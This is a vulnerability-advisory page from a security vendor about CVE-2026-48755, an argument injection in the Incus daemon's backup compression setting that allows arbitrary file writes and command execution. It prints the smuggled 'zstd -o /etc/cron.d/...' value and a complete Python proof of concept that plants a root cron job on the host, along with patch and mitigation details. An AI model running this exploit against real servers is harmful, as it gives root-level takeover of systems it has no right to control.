NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
CRITICAL severity

CVE-2026-48755 — incusd

CRITICAL

CVE-2026-48755 is a critical-severity (CVSS 9.9) Improper Input Validation vulnerability in github.com/lxc/incus/v7/cmd/incusd. A fix is available for github.com/lxc/incus/v7/cmd/incusd — see the affected versions and patch details below.

Incus has an argument injection in backup compression algorithm leading to AFW and ACE

Also known asGHSA-v6mj-8pf4-hhw4GO-2026-5808
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 7, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • A successful exploit gives an attacker total control of the affected component, not partial access.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-48755.

EPSS Exploitation Probability

via FIRST.org ↗
0.8%probability of exploitation in next 30 days
Lower Risk+0.05%
Lower risk than most CVEs56th percentile — riskier than 56% of all scored CVEsHighest risk
0.00%0.43%0.86%1.28%0.4%0.7%0.7%0.8%Sep 26Nov 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐹github.com/lxc/incus/v7/cmd/incusd

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Improper validation of user-provided backup compression algorithm leads to argument injection in the constructed command line. This leads to an arbitrary file write on the host, possibly leading to arbitrary command execution.

Details

Incus validates compression_algorithm by parsing it into fields and checking only the first token against an allowlist:

fields, err := shellquote.Split(value)
...
if !slices.Contains([]string{"bzip2", "gzip", "lz4", "lzma", "pigz", "pzstd", "pxz", "tar2sqfs", "xz", "zstd"}, fields[0]) {
    return fmt.Errorf("Compression algorithm %q isn't currently supported", fields[0])
}
_, err = exec.LookPath(fields[0])

Extra arguments are not rejected. compressFile() then prepends -c and passes the remaining user-supplied fields to the compressor:

args := []string{"-c"}
if len(fields) > 1 {
    args = append(args, fields[1:]...)
}
cmd := exec.Command(fields[0], args...)
cmd.Stdin = infile
cmd.Stdout = outfile

With a value like:

zstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload

the daemon executes the equivalent of:

zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload

PoC

python3 poc.py \
	--insecure --url https://remote-incus:8443 \
	--cert ~/.config/incus/client.crt --key ~/.config/incus/client.key \
	--instance c01 \
	--execute --yes-i-understand-this-writes-host-file

The following was generated by an LLM model.

#!/usr/bin/env python3
"""Short remote Incus backup compression zstd cron RCE PoC.

Dry-run is the default.  --execute uploads a cron payload into an instance and then asks Incus for a direct backup with a zstd argument-injection compressor:

    zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- <source>

The direct backup may fail after zstd runs; the host file write is the primitive. Use only on an authorized Incus server.
"""

from __future__ import annotations

import argparse
import json
import os
import shlex
import sys
import urllib.parse
from pathlib import PurePosixPath
from typing import Any

import requests


def q(value: str) -> str:
    return urllib.parse.quote(value, safe="")


def api(base: str, endpoint: str, **params: str) -> str:
    return base.rstrip("/") + endpoint + ("?" + urllib.parse.urlencode(params) if params else "")


def project_instance(project: str, instance: str) -> str:
    return instance if project == "default" else f"{project}_{instance}"


def clean_guest_path(path: str) -> str:
    if not path.startswith("/"):
        raise ValueError("--guest-path must be absolute")
    if ".." in PurePosixPath(path).parts:
        raise ValueError("--guest-path must not contain '..'")
    return os.path.normpath("/" + path.lstrip("/")).lstrip("/")


def source_path(args: argparse.Namespace) -> str:
    if args.source_host_path:
        return args.source_host_path
    return os.path.join(
        args.incus_dir,
        "storage-pools",
        args.pool,
        args.storage_kind,
        project_instance(args.project, args.instance),
        "rootfs",
        clean_guest_path(args.guest_path),
    )


def cron(command: str) -> bytes:
    return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode()


def session(args: argparse.Namespace) -> requests.Session:
    s = requests.Session()
    s.verify = False if args.insecure else (args.cacert or True)
    if args.cert or args.key:
        s.cert = (args.cert, args.key)
    if args.token:
        s.headers["Authorization"] = "Bearer " + args.token
    s.headers["User-Agent"] = "incus-zstd-backup-rce-poc"
    if args.insecure:
        requests.packages.urllib3.disable_warnings()  # type: ignore[attr-defined]
    return s


def check(resp: requests.Response, what: str) -> requests.Response:
    if resp.status_code >= 400:
        try:
            detail: Any = resp.json()
        except Exception:
            detail = resp.text[:2048]
        raise RuntimeError(f"{what} failed: HTTP {resp.status_code}: {detail}")
    return resp


def upload(s: requests.Session, args: argparse.Namespace, payload: bytes) -> None:
    url = api(args.url, f"/1.0/instances/{q(args.instance)}/files", project=args.project, path=args.guest_path)
    headers = {
        "Content-Type": "application/octet-stream",
        "X-Incus-type": "file",
        "X-Incus-write": "overwrite",
        "X-Incus-uid": "0",
        "X-Incus-gid": "0",
        "X-Incus-mode": "0644",
    }
    print(f"[*] uploading cron payload to {args.instance}:{args.guest_path}")
    check(s.post(url, data=payload, headers=headers, timeout=args.timeout), "payload upload")


def trigger_backup(s: requests.Session, args: argparse.Namespace, body: dict[str, Any]) -> None:
    url = api(args.url, f"/1.0/instances/{q(args.instance)}/backups", project=args.project)
    print("[*] sending direct backup request")
    resp = s.post(
        url,
        data=json.dumps(body).encode(),
        headers={"Accept": "application/octet-stream", "Content-Type": "application/json"},
        timeout=args.timeout,
        stream=True,
    )
    print(f"[*] backup HTTP {resp.status_code}")
    resp.close()
    if resp.status_code >= 400:
        print("[*] HTTP error after compressor launch is possible; check whether the cron file was written")


def parse_args() -> argparse.Namespace:
    p = argparse.ArgumentParser(description="Remote Incus zstd backup-compression cron RCE PoC")
    p.add_argument("--url", required=True, help="https://host:8443")
    p.add_argument("--cert", help="client certificate PEM")
    p.add_argument("--key", help="client private key PEM")
    p.add_argument("--cacert", help="CA certificate PEM")
    p.add_argument("--token", help="bearer token")
    p.add_argument("--insecure", action="store_true", help="disable TLS verification")
    p.add_argument("--timeout", type=int, default=180)

    p.add_argument("--project", default="default")
    p.add_argument("--instance", required=True)
    p.add_argument("--pool", default="default")
    p.add_argument("--storage-kind", choices=["containers", "virtual-machines"], default="containers")
    p.add_argument("--incus-dir", default="/var/lib/incus")
    p.add_argument("--guest-path", default="/incus-zstd-cron")
    p.add_argument("--source-host-path", help="override daemon-readable host path for the staged payload")
    p.add_argument("--cron-path", default="/etc/cron.d/incus-zstd-rce")
    p.add_argument("--command", default="date >/incus-zstd-rce; id >>/incus-zstd-rce")

    p.add_argument("--execute", action="store_true", help="stage payload and send backup request")
    p.add_argument("--yes-i-understand-this-writes-host-file", action="store_true", help="required with --execute")
    args = p.parse_args()

    if urllib.parse.urlparse(args.url).scheme != "https":
        p.error("--url must use https")
    if bool(args.cert) != bool(args.key):
        p.error("--cert and --key must be supplied together")
    if args.execute and not args.yes_i_understand_this_writes_host_file:
        p.error("--execute requires --yes-i-understand-this-writes-host-file")
    try:
        clean_guest_path(args.guest_path)
    except ValueError as exc:
        p.error(str(exc))

    args.url = args.url.rstrip("/")
    return args


def main() -> int:
    args = parse_args()
    src = source_path(args)
    payload = cron(args.command)
    compressor = f"zstd -d -f --pass-through -o {shlex.quote(args.cron_path)} -- {shlex.quote(src)}"
    body = {"compression_algorithm": compressor, "instance_only": True}

    print("[*] target:", args.url)
    print("[*] project:", args.project)
    print("[*] instance:", args.instance)
    print("[*] source host path:", src)
    print("[*] cron path:", args.cron_path)
    print("[*] payload:", payload.decode().rstrip())
    print("[*] backup body:", json.dumps(body, sort_keys=True))

    if not args.execute:
        print("[*] dry run only; add --execute and the confirmation flag to act")
        return 0

    s = session(args)
    upload(s, args, payload)
    trigger_backup(s, args, body)
    return 0


if __name__ == "__main__":
    try:
        raise SystemExit(main())
    except BrokenPipeError:
        raise SystemExit(1)
    except Exception as exc:
        print(f"[-] {exc}", file=sys.stderr)
        raise SystemExit(1)

Impact

Improperly validated compression algorithm argument leads to argument injection leading to arbitrary file write with zstd and possibly arbitrary command execution.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/lxc/incus/v7/cmd/incusdall versions7.2.0go get github.com/lxc/incus/v7/cmd/incusd@v7.2.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lxc/incus/v7/cmd/incusd, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/lxc/incus/v7/cmd/incusd to 7.2.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-48755 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatCritical

Incus is not shipped in any Red Hat product. The community Fedora package is affected.

Workaround published by Red Hat
No mitigation is needed as Incus is not shipped in any Red Hat product.
Source: Red Hat security advisory for CVE-2026-48755 (CC BY 4.0)

Frequently Asked Questions

### Summary Improper validation of user-provided backup compression algorithm leads to argument injection in the constructed command line. This leads to an arbitrary file write on the host, possibly leading to arbitrary command execution. ### Details Incus validates `compression_algorithm` by parsing it into fields and checking only the first token against an allowlist: ```go fields, err := shellquote.Split(value) ... if !slices.Contains([]string{"bzip2", "gzip", "lz4", "lzma", "pigz", "pzstd", "pxz", "tar2sqfs", "xz", "zstd"}, fields[0]) { return fmt.Errorf("Compression algorithm %q
O3 Security · Impact-Aware SCA

Is CVE-2026-48755 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-48755: incusd RCE — Fixed in 7.2.0